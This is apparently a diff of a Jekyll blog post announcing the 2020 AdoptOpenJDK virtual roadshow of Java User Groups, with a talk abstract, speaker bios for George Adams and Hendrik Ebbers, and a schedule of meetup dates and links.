-author: hendrik -featuredImage: duke-mask -excerpt: 'AdoptOpenJDK is doing a virtual roadshow of the Java User Groups. We plan to reach as many groups as possible but we will also live stream the event on YouTube.' -categories: [Java, AdoptOpenJDK] -header: - text: AdoptOpenJDK Virtual Roadshow - image: sample -redirect_to: https://open-elements.com/posts/2020/07/14/adoptopenjdk-virtual-roadshow/ ---- - -{% include elements/block.html text="This post was originally posted at [blog.adoptopenjdk.com](https://blog.adoptopenjdk.net/2020/07/adoptopenjdk-virtual-roadshow/)" %} - - -AdoptOpenJDK is doing a virtual roadshow of the Java User Groups. We plan to reach as many groups as possible but we will also live stream the event on YouTube. - -## Abstract of the session -AdoptOpenJDK is the leading provider of OpenJDK™ binaries. With over 170 million downloads in the last year, it is successfully used by many enterprises and ready for your production usage of Java™. AdoptOpenJDK provides prebuilt OpenJDK binaries from a fully open source set of build scripts and infrastructure. This talk will cover how we build on over 15 different platforms, execute over 87 million tests and distribute OpenJDK binaries to millions of users. We will also cover how AdoptOpenJDK binaries compare against the Java binaries that you use today. If you're curious to understand the difference between OpenJDK, Oracle Java, AdoptOpenJDK and all the other distributions, then this is the talk for you! - -### Speakers - -![George and Hendrik](/assets/posts/2020-07-14-adopt-roadshow/speakers.png) - -**George Adams** is the Java Program Manager at [Microsoft](https://www.microsoft.com) and is the recently appointed chair of the Technical Steering Committee at AdoptOpenJDK. Since co-founding AdoptOpenJDK in 2016 he has been leading the community outreach efforts at AdoptOpenJDK and is heavily involved in the Java ecosystem. George also contributes to both the OpenJS Foundation and the Node.js Foundation where he is a core collaborator and plays an active role in several of the workgroups. - -**Hendrik Ebbers** is a co-founder of [Karakun AG](https://www.karakun.com) and lives in Dortmund, Germany. He is the founder and leader of the Java User Group Dortmund and gives talks and presentations in user groups and conferences. His JavaFX book "Mastering JavaFX 8 Controls" was released in 2014 by Oracle press. Hendrik is a JavaOne Rockstar, JSR expert group member and Java Champion. Hendrik is a member of the AdoptOpenJDK TSC. - -## Scheduled Events - -{:.table} -| Date | JUG | Link | -|---|---|---| -| 21/07/ 2020 18:30 EDT | Knoxville JUG | [meetup](https://www.meetup.com/de-DE/KnoxJava/events/nmfmbrybckbcc/) | -| 06/08/2020 19:00 GMT+3 | JUG Istanbul | [meetup](https://www.meetup.com/de-DE/Istanbul-Java-User-Group/events/271767087) | -| 11/08/2020 11:00 EDT | Connecticut JUG | tbd | -| 20/08/2020 | JUG Dortmund | tbd | -| 19th-22nd October | Eclipse Con 2020 | [link](https://www.eclipsecon.org/2020/sessions/adoptopenjdk-making-java-free-again) | - -## Upcoming Events -We will update this as soon as we have dates/links. -- Enterprise Java User Group Austria -- Guadalajara JUG -- Rochester (NY) JUG -- SouJava - -## Your JUG? -If you would like to host "AdoptOpenJDK - Making Java free again" at your local JUG then please ping me. - -![AdoptOpenJDK logo](/assets/posts/2020-07-14-adopt-roadshow/adopt-logo.png){:class="image-two-third-width"} +--- +layout: post +redirect_to: https://open-elements.com/posts/2020/07/14/adoptopenjdk-virtual-roadshow/ +title: 'AdoptOpenJDK Virtual Roadshow' +author: hendrik +featuredImage: duke-mask +excerpt: 'AdoptOpenJDK is doing a virtual roadshow of the Java User Groups. We plan to reach as many groups as possible but we will also live stream the event on YouTube.' +categories: [Java, AdoptOpenJDK] +header: + text: AdoptOpenJDK Virtual Roadshow + image: sample +--- + +{% include elements/block.html text="This post was originally posted at [blog.adoptopenjdk.com](https://blog.adoptopenjdk.net/2020/07/adoptopenjdk-virtual-roadshow/)" %} + + +AdoptOpenJDK is doing a virtual roadshow of the Java User Groups. We plan to reach as many groups as possible but we will also live stream the event on YouTube. + +## Abstract of the session +AdoptOpenJDK is the leading provider of OpenJDK™ binaries. With over 170 million downloads in the last year, it is successfully used by many enterprises and ready for your production usage of Java™. AdoptOpenJDK provides prebuilt OpenJDK binaries from a fully open source set of build scripts and infrastructure. This talk will cover how we build on over 15 different platforms, execute over 87 million tests and distribute OpenJDK binaries to millions of users. We will also cover how AdoptOpenJDK binaries compare against the Java binaries that you use today. If you're curious to understand the difference between OpenJDK, Oracle Java, AdoptOpenJDK and all the other distributions, then this is the talk for you! + +### Speakers + +![George and Hendrik](/assets/posts/2020-07-14-adopt-roadshow/speakers.png) + +**George Adams** is the Java Program Manager at [Microsoft](https://www.microsoft.com) and is the recently appointed chair of the Technical Steering Committee at AdoptOpenJDK. Since co-founding AdoptOpenJDK in 2016 he has been leading the community outreach efforts at AdoptOpenJDK and is heavily involved in the Java ecosystem. George also contributes to both the OpenJS Foundation and the Node.js Foundation where he is a core collaborator and plays an active role in several of the workgroups. + +**Hendrik Ebbers** is a co-founder of [Karakun AG](https://www.karakun.com) and lives in Dortmund, Germany. He is the founder and leader of the Java User Group Dortmund and gives talks and presentations in user groups and conferences. His JavaFX book "Mastering JavaFX 8 Controls" was released in 2014 by Oracle press. Hendrik is a JavaOne Rockstar, JSR expert group member and Java Champion. Hendrik is a member of the AdoptOpenJDK TSC. + +## Scheduled Events + +{:.table} +| Date | JUG | Link | +|---|---|---| +| 21/07/ 2020 18:30 EDT | Knoxville JUG | [meetup](https://www.meetup.com/de-DE/KnoxJava/events/nmfmbrybckbcc/) | +| 06/08/2020 19:00 GMT+3 | JUG Istanbul | [meetup](https://www.meetup.com/de-DE/Istanbul-Java-User-Group/events/271767087) | +| 11/08/2020 11:00 EDT | Connecticut JUG | tbd | +| 20/08/2020 | JUG Dortmund | tbd | +| 19th-22nd October | Eclipse Con 2020 | [link](https://www.eclipsecon.org/2020/sessions/adoptopenjdk-making-java-free-again) | + +## Upcoming Events +We will update this as soon as we have dates/links. +- Enterprise Java User Group Austria +- Guadalajara JUG +- Rochester (NY) JUG +- SouJava + +## Your JUG? +If you would like to host "AdoptOpenJDK - Making Java free again" at your local JUG then please ping me. + +![AdoptOpenJDK logo](/assets/posts/2020-07-14-adopt-roadshow/adopt-logo.png){:class="image-two-third-width"}